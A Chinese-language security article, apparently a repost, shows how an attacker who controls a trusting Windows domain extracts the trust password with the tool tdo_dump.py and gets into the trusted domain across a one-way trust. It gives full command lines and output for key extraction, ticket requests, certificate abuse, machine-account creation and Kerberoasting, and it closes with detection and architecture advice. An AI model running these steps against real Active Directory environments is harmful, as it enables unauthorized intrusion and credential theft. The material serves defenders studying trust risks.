2026-03-29 23:49:43 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

文章总结： 本文揭示Windows单向域信任存在安全漏洞：攻击者控制信任域后可提取信任域对象中存储的明文密码，推导出被信任域中TRUST_ACCOUNT的Kerberos密钥，从而反向突破单向信任限制。文档详细介绍了攻击原理、开源工具tdo_dump.py的使用方法以及多种后续攻击手段，并给出监控TRUST_ACCOUNT活动、重新评估信任架构等防御建议。 综合评分： 85 文章分类： 渗透测试,内网渗透,漏洞分析,安全建设

cover_image

单向信任不可信？Windows域信任的渗透新途径

幻泉之洲

2026年3月26日 17:01 北京

微软Active Directory的单向信任关系常被用作安全边界。但最新的研究表明，通过提取存储在信任域对象中的密钥，攻击者可以从信任方域直接攻击被信任方域，使得单向信任名不副实。本文分析了这种攻击的技术细节、影响范围以及防御思路。

单向信任的“后门”

如果你问一位AD管理员，单向域信任安不安全？他大概率会告诉你：“当然，信任是单向的，被信任域的用户可以访问我们，但我们的人过不去。”

这个答案符合微软官方定义：单向信任创建的是单向身份验证路径，信任流向一个方向，访问流则相反。理论上，被信任域的用户可以访问信任域的资源，反之则不行。

问题就出在这个“理论上”。

为了维持域间的信任关系，Windows在创建信任时会自动在被信任域中生成一个特殊账户。这个账户的 samaccounttype 是 TRUST_ACCOUNT，useraccountcontrol 标记为 PASSWD_NOTREQD 和 INTERDOMAIN_TRUST_ACCOUNT。

在下面的例子中，admin.yeah 是被信任域，offsec.lol 是信任域。我们在 admin.yeah 域中找到了自动创建的 OFFSEC$ 账户。

$ python3 pywerview.py get-adobject -u user -p ‘Password123!’ -w admin.yeah -t datacenter.admin.yeah –custom-filter ‘(&(samaccountname=OFFSEC$))’ objectclass: top, person, organizationalPerson, user cn: OFFSEC$ distinguishedname: CN=OFFSEC$,CN=Users,DC=admin,DC=yeah samaccountname: OFFSEC$ samaccounttype: TRUST_ACCOUNT useraccountcontrol: PASSWD_NOTREQD, INTERDOMAIN_TRUST_ACCOUNT objectsid: S-1-5-21-90235910-180612443-3686036999-1105

熟悉AD安全的人一眼就能看出风险：这个账户的密码可以被域管理员转储。但重点不在这里。

关键在于信任域（offsec.lol）这一侧。尽管它没有创建对应的账户，但它必须知道并存储被信任域那个TRUST_ACCOUNT的密码。否则，它怎么验证来自被信任域的登录请求呢？

信任域对象里的秘密

根据微软的协议文档，这个密码以明文形式存储在一个叫做“信任域对象（Trusted Domain Object， TDO）”的特殊AD对象中，具体是在一个 LSAPR_AUTH_INFORMATION 结构里。

像 mimikatz 或 ntdissector 这样的工具早就能够提取TDO。但有两个痛点：它们不能在远程使用，而且只能显示域间信任密钥，不是Kerberos密钥。

实际上，要真正使用那个TRUST_ACCOUNT进行认证，你需要的是它的Kerberos密钥。TDO里存的密码明文，就是计算这些Kerberos密钥的源头。

想象一下这个场景：攻击者已经控制了信任域（offsec.lol）。通过提取TDO中的密码，他就能推导出被信任域（admin.yeah）中 OFFSEC$ 账户的Kerberos密钥。于是，本应安全的“单向”访问路径，至少在通过这一个账户时，变成了双向的。

新工具：tdo_dump.py

为了更便捷地实施这种攻击，安全研究员开发了 tdo_dump.py 工具。它基于Impacket库，只需调用 DRSBind, DRSGetNCChanges 和 DRSUnbind 这三个DRS（目录复制服务）函数。

使用前，你需要提供TDO对象的GUID和目标域控制器上的nTDSDSA对象GUID。这两个信息可以通过常规的AD查询工具获取。

$ python3 pywerview.py get-netdomaintrust -u user -p ‘Password123!’ -w offsec.lol -t sevres.offsec.lol –full-data … cn: admin.yeah objectguid: {d0547ff6-8f3f-462c-9f2d-11c427320691} trustdirection: outbound …

$ python tdo_dump.py -u Administrator -d offsec.lol -t sevres.offsec.lol –hashes *** –tdo-guid d0547ff6-8f3f-462c-9f2d-11c427320691 –dsa-guid 79a82840-4173-4402-8202-77c27639f2f2 [+] Dumping trusted domain object: offsec.lol → admin.yeah admin.yeah:plain_password_hex:53006f006c00650069006c003100320033002100 admin.yeah:aad3b435b51404eeaad3b435b51404ee:47465558945703bbe17c0b7a12c0627c::: [+] Salt: ADMIN.YEAHkrbtgtOFFSEC admin.yeah:aes256-cts-hmac-sha1-96:0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960 …

输出中直接给出了明文密码的十六进制形式（解码后是“Soleil123!”），以及由它计算出的NTLM哈希和AES256、AES128 Kerberos密钥。

这里有两个关键的计算公式：

域间信任密钥的Salt

：TRUSTED_DOMAIN_FQDN + krbtgt + TRUSTING_DOMAIN_FQDN（例：ADMIN.YEAHkrbtgtOFFSEC.LOL）
TRUST_ACCOUNT的Kerberos密钥的Salt

：TRUSTED_DOMAIN_FQDN + krbtgt + TRUST_ACCOUNT_SAMACCOUNTNAME_WITHOUT_$（例：ADMIN.YEAHkrbtgtOFFSEC）

工具已在GitHub开源：tdo_dump (https://github.com/AlmondOffSec/tdo_dump)

攻击的威力：一个域账户能做什么？

掌握了被信任域的TRUST_ACCOUNT，虽然权限只是普通的域用户，但攻击面已经足够大。几乎任何需要域用户身份的攻击技术都可以派上用场。

1. 信息收集（LDAP Recon）

拿到Kerberos票据后，可以直接查询被信任域的AD信息，为后续攻击找目标。

$ getTGT.py admin.yeah/’OFFSEC$’ -dc-ip datacenter.admin.yeah -k -no-pass -aesKey 0f01b0c55e73138f5cebec57ad04a59e3ec559f78c5c39456e7f7b446d9ce960 $ KRB5CCNAME=OFFSEC\$.ccache pywerview get-netuser -u ‘OFFSEC$’ -k -d admin.yeah -t admin.yeah –username administrator … memberof: CN=Group Policy Creator Owners,CN=Users,DC=admin,DC=yeah, CN=Domain Admins,CN=Users,DC=admin,DC=yeah…

2. 利用AD证书服务（AD CS）

这是近年来AD攻击的热点。可以用这个账户申请证书，可能获得更高的权限或进行持久化。

$ certipy req -u ‘OFFSEC$’@admin.yeah -k -no-pass … -ca ‘admin-DATACENTER-CA’ [*] Successfully requested certificate [*] Wrote certificate and private key to ‘offsec.pfx’

3. 创建计算机账户

每个域用户默认有权在域中创建一定数量的计算机账户。这等于给自己添加了一个完全可控的、带有密码的账户。

$ addcomputer.py admin.yeah/’offsec$’ -k -no-pass -dc-host datacenter.admin.yeah -computer-name ATTACKCOMPUTER [*] Successfully added machine account ATTACKCOMPUTER$ with password vjuA8giQYjrC7wt8fo43PgCuF6ixCOw4.

4. Kerberoasting

经典的攻击手法，请求服务票据然后离线破解，目标是获取服务账户（往往是高权限）的密码。

$ KRB5CCNAME=OFFSEC\$.ccache GetUserSPNs.py -k -no-pass admin.yeah/OFFSEC$ -request $krb5tgs$23$*kerberoastable$ADMIN.YEAH$admin.yeah/kerberoastable*$a1c4aaa210bbd9cc06ac92606b423a47$b06da5d072ade60969d0ff215599487f…

这对管理员意味着什么？

这种攻击方式最令人头疼的一点是，它打破了人们对于“单向信任”作为单向安全屏障的固有认知。

想想常见的“管理林”架构：企业建立一个独立的、权限极高的管理林，通过单向信任管理生产林。生产林信任管理林，让管理林的账户可以登录生产机器进行维护。反过来，生产林的账户不能访问管理林。

过去我们认为，即使生产林被完全攻陷，管理林也是安全的。但现在，攻陷生产林（信任域）的攻击者，可以借助TDO中的秘密，直接在被信任的管理林中获得一个初始立足点。

防御的思路其实不复杂：

监控是关键

。安全团队需要监控那个特殊的TRUST_ACCOUNT（形如DOMAIN$）的登录活动。这个账户平时不应该有登录行为，任何它的Kerberos票据请求或LDAP查询都可能是被攻击的信号。
理解风险模型

。在规划林和域架构时，不能再把单向信任视为可靠的单向防火墙。如果信任域的安全性较低，那么被信任域就会通过这个“后门”暴露在风险之下。或许需要考虑更严格的网络分段，或者评估是否真的需要建立这种信任关系。
纵深防御

。在域内实施强认证、特权账户管理（PAM）和实时检测，增加攻击者从普通域账户提升权限的难度。

说到底，安全总是相对的。新工具和新研究不断揭示出我们以为安全的边界上存在的裂缝。对于AD管理员和安全分析师来说，理解这些裂缝，并调整自己的防御策略，才是应对之道。

技术本身没有好坏，就看掌握在谁手里。

免责声明：

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景，旨在提升网络安全防护能力，具有明确的技术研究属性。

任何单位或个人未经授权，将本文内容用于攻击、破坏等非法用途的，由此引发的全部法律责任、民事赔偿及连带责任，均由行为人独立承担，本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布，若存在版权侵权或其他异议，请通过邮件联系处理，具体联系方式可点击页面上方的联系我。

本文转载自：幻泉之洲《单向信任不可信？Windows域信任的渗透新途径》